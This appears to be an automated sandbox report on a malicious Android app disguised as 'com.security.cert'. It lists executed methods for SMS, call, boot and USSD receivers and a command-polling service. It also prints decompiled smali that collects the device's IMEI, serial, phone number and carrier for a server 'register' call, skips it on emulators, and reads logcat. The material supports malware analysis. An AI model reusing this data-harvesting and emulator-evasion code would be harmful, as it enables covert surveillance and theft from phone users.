Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.PhoneCallReceiver.c | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.PhoneCallReceiver.c | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.ui.a.onCancel | Show source |
---|
Method: com.security.cert.ui.b.onClick | Show source |
---|
Method: com.security.cert.ui.d.onServiceConnected | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.ui.d.onServiceDisconnected | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.io.File |
|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.telephony.TelephonyManager |
|
param1 | [Ljava.lang.Object; |
|
Name | Type | Value |
---|---|---|
Return Value | com.android.internal.telephony.ITelephony$Stub$Proxy |
|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onActivityResult | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | [Ljava.lang.Class; |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.reflect.Method |
|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.a.<init> | Show source |
---|
Method: com.security.cert.ui.d.<init> | Show source |
---|
Method: com.b.a.a.c.<init> | Show source |
---|
Method: com.a.a.a.c.<init> | Show source |
---|
Method: com.security.cert.b.a.<init> | Show source |
---|
Method: com.b.a.a.j.<init> | Show source |
---|
Method: com.security.cert.ui.c.<init> | Show source |
---|
Method: com.b.a.a.b.<init> | Show source |
---|
Method: com.b.a.a.f.<init> | Show source |
---|
Method: com.security.cert.b.b.a.b.<init> | Show source |
---|
Method: com.security.cert.ui.b.<init> | Show source |
---|
Method: com.b.a.a.a.<init> | Show source |
---|
Method: com.b.a.a.e.<init> | Show source |
---|
Method: com.security.cert.ui.a.<init> | Show source |
---|
Method: com.security.cert.services.b.<init> | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.b.a.a.j.retryRequest | Show source |
---|
Method: com.b.a.a.j.retryRequest | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | [Ljava.lang.String; |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.ProcessManager$ProcessImpl |
|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.b.a.a.e.b | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.b.a.a.e.b | Show source |
---|
Method: com.b.a.a.e.b | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.b.a.a.e.b | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.b.a.a.i.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.b.a.a.j.retryRequest | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.ReCheckCommandReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.b.a.a.c.process | Show source |
---|
Method: com.security.cert.services.ReSendQueueReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.b.b.a.a.c | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onActivityResult | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.a.a.d.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.b.a.a.j.<clinit> | Show source |
---|
Method: com.b.a.a.j.<clinit> | Show source |
---|
Method: com.b.a.a.j.<clinit> | Show source |
---|
Method: com.b.a.a.j.<clinit> | Show source |
---|
Method: com.b.a.a.j.<clinit> | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.services.ReSendQueueReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.b.a.a.b.process | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.services.ReSendQueueReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.b.a.a.b.process | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.b.a.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.services.ReSendQueueReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.f.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.c.process | Show source |
---|
Method: com.b.a.a.c.process | Show source |
---|
Method: com.b.a.a.f.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.h.a | Show source |
---|
Method: com.b.a.a.f.a | Show source |
---|
Method: com.b.a.a.f.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.a.a.c.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.a.a.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.a.a.c.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.a.a.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | org.json.JSONObject |
|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.a.a.b.b | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v3, Lorg/json/JSONObject; | |
2 | invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V |
|
3 | try_start_5: | |
4 | invoke-static {p0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;)Ljava/lang/String; | |
5 | move-result-object v1 | |
7 | invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String; | |
8 | move-result-object v0 | |
10 | invoke-static {p0}, Lcom/security/cert/b/b;->c(Landroid/content/Context;)Ljava/lang/String; | |
11 | move-result-object v2 | |
13 | invoke-static {p0}, Lcom/security/cert/b/b;->d(Landroid/content/Context;)Ljava/lang/String; | |
14 | move-result-object v4 | |
15 | if-nez v2, :cond_19 | |
17 | const-string v2, "" | |
18 | cond_19: if-nez v1, :cond_1d | |
20 | const-string v1, "" | |
21 | cond_1d: if-nez v0, :cond_21 | |
23 | const-string v0, "" | |
24 | cond_21: | |
25 | const-string v5, "action" | |
27 | const-string v6, "register" | |
29 | invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
31 | const-string v5, "device_model" | |
33 | sget-object v6, Landroid/os/Build;->MODEL:Ljava/lang/String; |
|
35 | invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
37 | const-string v5, "device_serial_number" | |
39 | invoke-virtual {v3, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
41 | const-string v1, "device_imei" | |
43 | invoke-virtual {v3, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
45 | const-string v0, "carrier" | |
47 | invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
49 | const-string v0, "os_version" | |
51 | sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String; |
|
53 | invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
55 | const-string v0, "phone_number" | |
57 | invoke-virtual {v3, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
59 | const-string v0, "default_delay" | |
60 | const/16 v1, 0x3c | |
62 | invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
64 | const-string v1, "rooted" | |
66 | invoke-static {}, Lcom/security/cert/b/b;->a()Z | |
67 | move-result v0 | |
68 | if-eqz v0, :cond_cf | |
70 | const-string v0, "true" | |
71 | goto_5b: | |
72 | invoke-virtual {v3, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
74 | const-string v0, "language" | |
76 | invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale; | |
77 | move-result-object v1 | |
79 | invoke-virtual {v1}, Ljava/util/Locale;->getLanguage()Ljava/lang/String; | |
80 | move-result-object v1 | |
82 | invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
84 | const-string v0, "app_version" | |
86 | const-string v1, "2.1" | |
88 | invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
89 | goto_72: | |
90 | invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String; | |
91 | move-result-object v1 | |
93 | invoke-static {p0}, Lcom/security/cert/b/b;->c(Landroid/content/Context;)Ljava/lang/String; | |
94 | move-result-object v2 | |
96 | invoke-static {p0}, Lcom/security/cert/b/b;->d(Landroid/content/Context;)Ljava/lang/String; | |
97 | move-result-object v0 | |
98 | if-nez v2, :cond_82 | |
100 | const-string v2, "" | |
101 | cond_82: if-nez v1, :cond_86 | |
103 | const-string v1, "" | |
104 | cond_86: if-nez v0, :cond_8a | |
106 | const-string v0, "" | |
107 | cond_8a: | |
108 | invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String; | |
109 | move-result-object v0 | |
111 | const-string v4, "android" | |
113 | invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
114 | move-result v0 | |
115 | if-nez v0, :cond_ca | |
117 | const-string v0, "000000000000000" | |
119 | invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
120 | move-result v0 | |
121 | if-nez v0, :cond_ca | |
123 | const-string v0, "012345678912345" | |
125 | invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
126 | move-result v0 | |
127 | if-nez v0, :cond_ca | |
129 | const-string v0, "15555215554" | |
131 | invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
132 | move-result v0 | |
133 | if-nez v0, :cond_ca | |
135 | sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String; |
|
137 | invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String; | |
138 | move-result-object v0 | |
140 | const-string v1, "sdk" | |
142 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
143 | move-result v0 | |
144 | if-nez v0, :cond_ca | |
146 | sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String; |
|
148 | invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String; | |
149 | move-result-object v0 | |
151 | const-string v1, "generic" | |
153 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
154 | move-result v0 | |
155 | if-eqz v0, :cond_dd | |
156 | cond_ca: const/4 v0, 0x1 | |
158 | invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Z)V | |
159 | goto_ce: return-void | |
160 | cond_cf: | |
161 | const-string v0, "false" | |
162 | try_end_d1: goto/16 :goto_5b | |
163 | catch_d2: move-exception v0 | |
165 | const-string v1, "ServerApi" | |
167 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
168 | move-result-object v0 | |
170 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
171 | goto/16 :goto_72 | |
172 | cond_dd: new-instance v0, Lcom/security/cert/b/b/a/d; | |
174 | invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V | |
176 | invoke-static {p0, v3, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V | |
177 | goto/16 :goto_ce |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v0, 0x0 | |
1 | const/4 v1, 0x1 | |
2 | const/4 v3, 0x0 | |
3 | new-instance v2, Ljava/lang/StringBuilder; | |
5 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
7 | invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
8 | move-result-object v2 | |
10 | const-string v4, ":" | |
12 | invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
13 | move-result-object v2 | |
15 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
16 | move-result-object v2 | |
18 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
19 | move-result-object v2 | |
21 | const-string v4, "*:S" | |
22 | try_start_1c: | |
23 | invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; | |
24 | move-result-object v5 | |
25 | const/4 v6, 0x4 | |
26 | new-array v6, v6, [Ljava/lang/String; | |
27 | const/4 v7, 0x0 | |
29 | const-string v8, "logcat" | |
30 | aput-object v8, v6, v7 | |
31 | const/4 v7, 0x1 | |
33 | const-string v8, "-d" | |
34 | aput-object v8, v6, v7 | |
35 | const/4 v7, 0x2 | |
36 | aput-object v2, v6, v7 | |
37 | const/4 v2, 0x3 | |
38 | aput-object v4, v6, v2 | |
40 | invoke-virtual {v5, v6}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process; |
|
41 | move-result-object v4 | |
42 | new-instance v2, Ljava/io/BufferedReader; | |
43 | new-instance v5, Ljava/io/InputStreamReader; | |
45 | invoke-virtual {v4}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream; | |
46 | move-result-object v4 | |
48 | invoke-direct {v5, v4}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V | |
50 | invoke-direct {v2, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V | |
51 | try_end_45: if-eqz p3, :cond_5a | |
52 | try_start_47: | |
53 | invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; | |
54 | move-result-object v3 | |
55 | if-eqz v3, :cond_54 | |
57 | invoke-virtual {v3, p2}, Ljava/lang/String;->matches(Ljava/lang/String;)Z | |
58 | try_end_50: move-result v3 | |
59 | if-eqz v3, :cond_47 | |
60 | move v0, v1 | |
61 | goto_54: if-eqz v2, :cond_59 | |
62 | try_start_56: | |
63 | invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V | |
64 | try_end_59: return v0 | |
65 | try_start_5a: | |
66 | invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; |
|
67 | move-result-object v3 | |
68 | if-eqz v3, :cond_54 | |
70 | invoke-virtual {v3, p2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z | |
71 | try_end_63: move-result v3 | |
72 | if-eqz v3, :cond_5a | |
73 | move v0, v1 | |
74 | goto/16 :goto_54 | |
75 | catch_68: move-exception v1 | |
77 | const-string v2, "ussdtestlog" | |
79 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
80 | move-result-object v1 | |
82 | invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
83 | goto/16 :goto_59 | |
84 | catch_73: move-exception v1 | |
85 | move-object v2, v3 | |
86 | goto_75: | |
87 | const-string v3, "ussdtestlog" | |
89 | invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String; | |
90 | move-result-object v1 | |
